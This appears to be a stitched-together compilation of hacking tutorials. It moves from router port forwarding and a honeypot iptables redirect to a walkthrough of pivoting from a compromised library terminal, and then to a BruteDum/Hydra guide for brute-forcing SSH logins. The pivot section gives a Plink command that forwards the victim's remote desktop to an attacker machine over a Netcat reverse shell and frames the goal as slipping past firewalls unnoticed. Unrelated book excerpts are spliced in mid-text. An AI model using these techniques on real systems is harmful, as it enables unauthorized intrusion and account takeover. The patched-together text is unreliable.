Ports allow network and internet-connected devices to interact using specified channels. 

While servers with dedicated IP addresses can connect directly to the internet and make ports publicly available, a system behind a router on a local network may not be open to the rest of the web. 

To overcome this, port forwarding can be used to make these devices publicly accessible.

Networked services and apps running on various devices make use of ports at specific numbers as a means to initiate connections and establish communications. 

Different ports can be used simultaneously to easily separate and parse different types of traffic or requests. 

Ports are generally associated with specific services, such that a client can connect to a server on a specific port and assume that the server will accept a connection at that port and respond appropriately.

Some commonly used ports are shown below.

21: FTP (File Transfer Protocol)

22: SSH (Secure Shell)

23: Telnet (Teletype Network)

25: SMTP (Simple Mail Transfer Protocol)

80 : HTTP (Hypertext Transfer Protocol)

194: IRC (Internet Relay Chat)

443: HTTPS (HTTP Secure)

While ports make it simple to identify and address specific requests, port-numbering conventions are a standard, not a rule. 

Ports can be used for whatever a person may choose to host on them, so long as the connection between the client and server on a given port uses a consistent protocol.

In web browsers, non-standard HTTP ports can be specified following a colon at the end of an IP address or URL in order to attempt to load HTTP content over that port.

 If a web server is running on a local machine on port 8080 rather than the conventional port 80, it would be possible to access this in a web browser by navigating to localhost:8080 or 127.0.0.1:8080, but if either of the two aforementioned addresses were entered without the \”:8080\” suffix, the same page would not load.

While any open port should allow connection attempts, in order for these attempts to be made, a client device needs network access to the device. 

While this isn\’t necessarily an issue for a server connected to the internet directly or a connection across a local area network, it becomes problematic when one attempts to access a specific port on a device which is protected by a router or firewall.

Most home or office networks are connected to the internet through a router. 

A router is able to manage internet usage for a network and centralize the traffic at one IP address. 

All requests and packets are sent through the router before being distributed back to the respective devices which made the original requests. 

By default, routers do not handle incoming requests on specific ports. If one attempts to connect over SSH to a router, the router has no way to handle that request, nor does it know who on the network to forward the requests to. 

This problem can be solved by configuring port forwarding within the router.

 Step 1 

Routers generally provide an HTTP administration panel on port 80. 

This control center can be accessed by using the local network IP of the router, 192.168.0.1 or 192.168.1.1, in most cases. 

On Microsoft Windows, one can identify the location of the connected router or \”Default Gateway\” by opening a Command Prompt window and running the command below.

Command :-

ipconfig/all

​On Linux and macOS, the same can be accomplished using netstat. 

Open a new terminal window and run the following command to see the IP of the router you\’re connected to.

Command :- 

netstat -rn

 Configuration Panel

Once you\’ve identified the local IP address of your router, you can access the configuration panel by opening the address in your web browser, just as you would any other URL. 

(Note: some routers, such as Amplifi, actually have mobile apps that make this easier.)

​Once the router management page is open, log in to the router. 

The username and password may have been set by yourself (if you know what\’s good for you), an internet service provider, or be the router manufacturer\’s default credentials. 

This information can generally found online in the router\’s documentation, and sometimes even physically on the side of the router.

While all routers will have slightly different interfaces, once logged in, look for an \”Advanced\” area, or something which includes \”Port Forwarding.\” 

In the case below, the relevant area was titled \”Advanced Port Forwarding Rules.\”

 Step 3 

To demonstrate usage of port forwarding rules, we\’ll use a sample use case. 

In this scenario, a user has a Raspberry Pi connected to their home network router. 

The Pi has an SSH service running, allowing a user to log in if they have the correct username and password. 

The current IP address of the Pi is 192.168.0.105.

The user names the rule \”RBPi SSH\” to make it easier to identify for future administration. 

The name of the rule does not matter beyond personal preference, as it does not affect how the port is used.

The Public Port (sometimes called Source Port) range is set to 22 through 22, or the standard SSH port 22. 

This is the port which the router will reveal to the internet as being open, and the port which a user will connect to if they wish to connect to the Pi.

The Private Port (sometimes Destination Port) is set to 22 as well, as the SSH daemon is running on port 22 on the Pi.

The Traffic Type is set to TCP, as SSH is TCP traffic.

The IP Address is set to that of the Pi on the local network, 192.168.0.105.

Finally, the checkbox at the left of the rule is checked in order to enable the new setting.

While your router\’s interface may work slightly different, the concept is the same

This rule, when saved, means that now a user can connect to SSH to the IP address of the router from anywhere on the internet and be forwarded to their Raspberry Pi server. 

This could also be used to create an HTTP web server on port 80 or perhaps facilitate a video game server on a specific port. 

Keep in mind that some ISPs have defined rules regarding hosting servers and other content, and be sure to check any applicable rules before choosing to host an internet-accessible server on a local network.

One vulnerability that arises when exposing ports to the internet through port forwarding is port scanning. 

Attackers on the internet use automated drones to scan sets of IP addresses or use tools like Shodan to find potentially vulnerable devices with certain ports active. 

SSH ports are a prime target, as they represent a shell environment where data could be stolen and malware could potentially be installed

​In the case of port forwarding, to protect against port scanning, it may be advantageous to change the public or source port in the router configuration. 

Rather than using a common port like 22 which is frequently scanned for, a more uncommon port such as 9022 can serve just as well to connect over SSH to the Raspberry Pi without leaving a low-numbered port available to be discovered through scanning.

With this port changed, the only difference in usage is that a client connecting to the devices over SSH from outside the network will need to specify port 9022 rather than assuming the default port, 22, is in use.

 Attempting to connect to port 22 will not work outside of the local network, as while the SSH daemon on the Pi is running on that port, it is being forwarded over port 9022, not port 22.

While router-based port forwarding is useful for internet-facing network configuration, port forwarding can also be established at the system level when using Linux.

 Stepp 4 

Much in the same way that a router port can be linked to a specific port on a device within a network, one port can also be linked to another to facilitate easier use. 

For instance, when installing the Cowrie honeypot, the SSH daemon is moved from port 22 to port 9022, and then port 2222 where the honeypot is running is forwarded to port 22 where it will be scanned and attacked on the internet.

To begin configuring local port forwarding on Linux, one may first need to enable it within Linux itself. 

To do this, run the command below to set the value of ip_forward to 1 or true.

Command :- 

echo \”1\” > /proc/sys/net/ipv4/ip_forward

​Once IP forwarding is enabled, ensure that you know the current port of the service you intend to forward. 

During the configuration of the Cowrie honeypot, this is done by changing the SSH daemon configuration to move the service to port 9022.

​Finally, to enable local port forwarding, iptables can be used. 

The command below redirects requests on port 22 to port 2222, where they are handled by the honeypot.

Command :- 

iptables -t nat -A PREROUTING -p tcp –dport 22 -j REDIRECT –to-port 2222

 Other Uses for Port Forwarding 

Port forwarding can be applied to other implementations, such as forwarding port 8080 to port 80 to make a test server more easily accessible or to simply add additional ports to use for a certain service. 

Port forwarding is a very valuable technique for remote access, server administration, network configuration, and even for post-exploitation and pivoting. 

Understanding it can be the key to countless other security projects!

How To Use Remote Port Forwarding to Slip Past Firewall Restrictions Unnoticed 

Local port forwarding is good when you want to use SSH to pivot into a non-routable network. 

But if you want to access services on a network when you can\’t configure port-forwarding on a router and don\’t have VPN access to the network, remote port forwarding is the way to go.

Remote port forwarding excels in situations where you want access to a service on an internal network and have gained control of a machine on that network via a reverse shell of some kind. 

Whether you\’re a pentester or system admin, this is a good thing to know about.

For example, let\’s say you compromise a public terminal in the local library and get some credentials. 

You install a persistent reverse shell of some sort, which communicates back to your machine, but you don\’t have access to other services on the machine. 

The victim machine might have an SQL instance configured on localhost only that you want access to, or maybe you want to access the remote desktop. 

Maybe the network is hosting some sort of admin panel you\’d like to poke around in. Whatever it is you want, a compromised host and SSH will get you in.

Remote port forwarding isn\’t only for malicious scenarios. 

You can use it to punch a temporary hole out of a network to use work services at home, though that may be frowned upon by your security team.

Another excellent usage is in phishing campaigns where a user has executed your payload, and you only have a reverse shell connection back. 

After a bit of information gathering, then privilege escalation, you gather the credentials for the administrative user and wish to use those on another service on the compromised machine.

In this article, we\’ll be using SSH to access the remote desktop on a host located behind a firewall in an internal network — all without modifying the port forwarding rules on the gateway!

The Situation 

The shell is a Netcat connection running cmd.exe. 

The user \”bob\” is not a privileged user. 

Through prior information gathering, I know that the user \”barrow\” is a privileged user, and I also know that this machine has a remote desktop connection available.

It would be excellent to log into this machine via a remote desktop as an administrative user, but it is non-routable to my machine. 

Our compromised machine is behind a router, with an internal IP address, and I don\’t have access to the internal network, except via the internal host.

I can use the reverse shell to interact with the compromised host, but if I attempt to connect to a remote desktop, the IP address will be invalid. 

If I use the public-facing IP address, I will be connecting to a router which will just drop my packets. 

Since I don\’t have an SSH server on this network that I can pivot with, I\’ll have to use Plink to forward the remote desktop service to my attacking machine.

Plink is a Windows command line SSH client. 

It is included with Kali Linux in the /usr/share/windows-binaries/ directory. 

It can also be downloaded from the developer (look for the plink.exe file).

Link :-

Configure Remote Port Forwarding 

Using my Netcat shell and plink.exe, I set up a remote port forward to my attacking machine from my victim machine by typing the following into the reverse shell I have established from my victim machine.

plink attackingMachine -R 4000:127.0.0.1:3389

The syntax is similar to SSH. Using the -R option tells Plink to connect to the attacking machine and bind a channel on port 4000 (I arbitrarily selected port 4000 — you can select any port). 

The next portion in between the colons defines what service will be served to port 4000 on the attacking machine. 

In this case, the victim machine\’s port 3389. Once this command is entered, I will log in with my credentials to my attacking machine. 

Now, my attacking machine has access to the remote desktop service on the victim machine on my localhost port 4000.

If you\’re paying attention, you may have noticed that I used the localhost address on the victim machine. 

This can be useful for port forwarding services that are generally constrained to localhost access only, such as mySQL.

With this running on my Netcat shell, I connect to my victim machine\’s remote desktop service using the rdesktop command. 

The following command uses the remote desktop protocol to connect to localhost port 4000 where my victim machine is forwarding its local port 3389.

Command :- 

rdesktop localhost:4000

All that\’s left to do is use a known credential to log into Windows, either phished or gained via privilege escalation.

 From here, I have full administrative access to the system, despite the system\’s gateway dropping all inbound connection requests. 

I also retained my initial shell connection, which is always important to me. 

Shells can be a lot easier to lose than they are to get back.

SSH is an excellent tool for pivoting in networks, but it\’s not limited to penetration testing. 

Remote port forwarding can provide you access to services on a machine that would normally be inaccessible. 

This can be useful if you want to share your services with networks that normally would not be able to reach them. 

For example, if you need to temporarily connect to a service at work from your home but the firewall is dropping all inbound packets. 

In some cases, setting up a reverse SSH tunnel is easier than port forwarding a consumer-grade router.

Using overt penetration testing, you work with the organization to identify  

potential security threats, and the organization’s IT or security team shows you  

the organization’s systems. The one main benefit of an overt test is that you  

have access to insider knowledge and can launch attacks without fear of  

being blocked. A potential downside to overt testing is that overt tests might  

not effectively test the client’s incident response program or identify how  

well the security program detects certain attacks. When time is limited and  

certain PTES steps such as intelligence gathering are out of scope, an overt  

test may be your best option. 

Covert Penetration Testing: 

Unlike overt testing, sanctioned covert penetration testing is designed to sim- 

ulate the actions of an attacker and is performed without the knowledge of  

most of the organization. Covert tests are performed to test the internal  

security team’s ability to detect and respond to an attack. 

Covert tests can be costly and time consuming, and they require more  

skill than overt tests. In the eyes of penetration testers in the security industry,  

the covert scenario is often preferred because it most closely simulates a true  

attack. Covert attacks rely on your ability to gain information by reconnais- 

sance. Therefore, as a covert tester, you will typically not attempt to find a  

large number of vulnerabilities in a target but will simply attempt to find the  

easiest way to gain access to a system, undetected.

Hacking is not something that can be mastered overnight.It really takes quite some time to understand and implement the skills that actually put you in the hacker’s shoes.

So, for anyone who is wanting to become a hacker, all it takes is some creativity,willingness to learn and perseverance.

In order to become a hacker, it is essential to have a basic understanding of how a computer system works.For example,you may start off with basics of operating system,computer networks and some programming.

Atthis point in time,you need not worry much about this question as this book will take you through all those necessary concepts to establish the skills that you need to possess as a hacker.

Assaid earlier,the best way to learn hacking is to start off with the basics.Once you have established the basic skills,you can take it even further by going through the books that discuss individual topics in a much detailed fashion.Do not forget the power of Internet when it comes to acquiring and expanding your knowledge.

How To Brute-Force SSH, FTP, VNC & More with BruteDum 

#hackingtutorials

Brute-forcing is an easy way of discovering weak login credentials and is often one of the first steps when a hacker finds network services running on a network they gain access to. 

For beginners and experienced hackers alike, it\’s useful to have access to the right tools to discover, classify, and then launch customized brute-force attacks against a target. 

BruteDum does it all from a single framework.

 Weak Passwords Are Easy Prey 

When a hacker gains access to a system with services running on it, one of the first things they\’ll typically do is see if they can log in to any of those services using default or common credentials. 

Internet of Things (IoT) hardware and devices like routers are often left with default passwords enabled, making them easy to attack.

To test the services they discover for weak passwords, the hacker needs to select the right tool for the job, and it can be confusing to know which tool is the best to use against a particular service.

BruteDum is a Python tool that allows a hacker to acquire a target first and run a scan inside the framework to determine the best tool based on what is discovered. 

It\’s easy to run a brute-force or dictionary attack against nearly any standard protocol that\’s vulnerable to it.

The advantage of running BruteDum over specific tools is the ability to run a scan from within to identify what other processes may be running on the same device, as well as organizing powerful tools for breaking into user accounts on services like SSH.

Online or Connected Attacks 

Unlike attacks launched against WPA networks where we can grab a hash and attempt cracking later, we need to be connected to our target directly over the network to try a brute-forcing or dictionary attack. 

While there are ways of hiding our identity with a VPN or Tor, brute-force and dictionary attacks can be limited in effectiveness through a variety of different means.

One way of limiting brute-force and dictionary attacks is through rate-limiting, in which a lockout is triggered after a set amount of incorrect login attempts. 

That, combined with flagging suspicious login attempts, can make brute-force and dictionary assaults more likely to alert a target that they are under attack.

To execute an online dictionary attack, we\’ll be using THC Hydra, Medusa, or Ncrack against the services we discover, using BruteDum to scan and organize our attacks between these tools. 

We\’ll also need a password list, which will be critical to the success or failure of our dictionary attack. 

If the password list is too large, it will take too long to attack the network, and if it isn\’t reasonably long enough to contain the password, we run the risk of it not being in the list, causing the attack to fail.

What You\’ll Need 

To follow this guide, you\’ll need Python3 installed on your system. 

Also, I recommend using Kali Linux, as it should have most of the required programs installed by default. If you\’re doing this on another system, you\’ll need to make sure that you have all the prerequisite programs installed.

If you\’re not using Kali Linux, you can use Ubuntu or Debian, but you\’ll need to make sure you have Hydra, Medusa, and Ncrack installed. 

You\’ll also need Nmap for scanning.

We\’ll also need a password list to test, and in this case, we\’ll be downloading it to a folder we create later. 

If you have a favorite password list, you\’ll need to copy it to the folder we\’ll be making.

 Download & Set Up BruteDum 

To get started, we\’ll need to download the repository from GitHub. 

In a new terminal window, you can type in the following command to clone the repo.

Command :-

~$ git clone https://github.com/GitHackTools

And this one to navigate into the directory:

Command :-

~$ cd BruteDum

From inside this folder, you\’ll be able to run BruteDum. 

Before we do, we should take care of one small quirk. 

I found that BruteDum couldn\’t find password lists saved outside the BruteDum folder, so the solution seems to be adding our password list directly there. 

To do this, I\’ll simply take one off GitHub, and I\’ll download it to the folder I\’m in using the wget command.

Command. :-

Once it\’s done, we can run BruteDum by typing the following command.

We\’ll select Hydra, as it\’s the one recommended for cracking SSH. Type 2 to indicate Hydra (or the number of the tool you wish to use) and press Enter to begin configuring it.

Set Username & Password Lists 

To launch our attack, we\’ll need to make a time versus probability tradeoff. 

Our first option will be to select a username list. 

That means we\’ll be trying every password in our password list with every username in our username list.

 It can become a lot of attempts very quickly.

In our example, we can select N to decline using a username list. 

Instead, we\’ll use a common username, or one we might know exists by default on the type of device.

[i] Target: 192.168.43.1 Protocol: ssh [?] Do you want to use username list? [Y/n]: N

Because we declined to supply a username list, we\’ll have to enter one manually instead.

 Here, I\’ll enter toor, as I know that\’s the username for our test device.

[?] Enter the username: toor

Next, we\’ll need to set the password list. 

It won\’t work if we select a password list outside of the directory we\’re in, so we can now add the password list we downloaded earlier. 

If you followed along before, we should be able to just paste in the Top207-probable-v2.txt wordlist here.

[?] Enter the path of wordlist: Top207-probable-v2.txt

Finally, we can decide if we want to use the default port or not. 

Some devices may host services on a port other than the standard one, but this isn\’t very common. 

For SSH, the default port is 22, so we\’ll just enter Y and hit Enter.

[?] Do you want to use default port? [Y/n]: Y

If you\’re attacking a service on a non-standard port, you can specify it here and press Enter.

 Do not accidentally type in the number of the port you want to attack here, as the script will crash.

As soon as you supply the port, BruteDum will launch the tool you specified.

Brute-Force Attacks Find Weak Passwords 

A key thing to remember about brute-force and dictionary attacks is that they are powerful in the right place, but not a silver bullet for breaking into accounts. 

Weak passwords are especially easy to find with BruteDum, but more complicated passwords require longer password lists. 

That issue necessitates prolonged contact with the victim to burn through those longer lists, making the attack less practical and more evident to anyone watching for this kind of attack.

An ideal target for these attacks is primarily IoT devices, which generally have poor security and a plethora of services running with default credentials.

That\’s it I hope u loved the TUTORIAL and enjoyed learning.
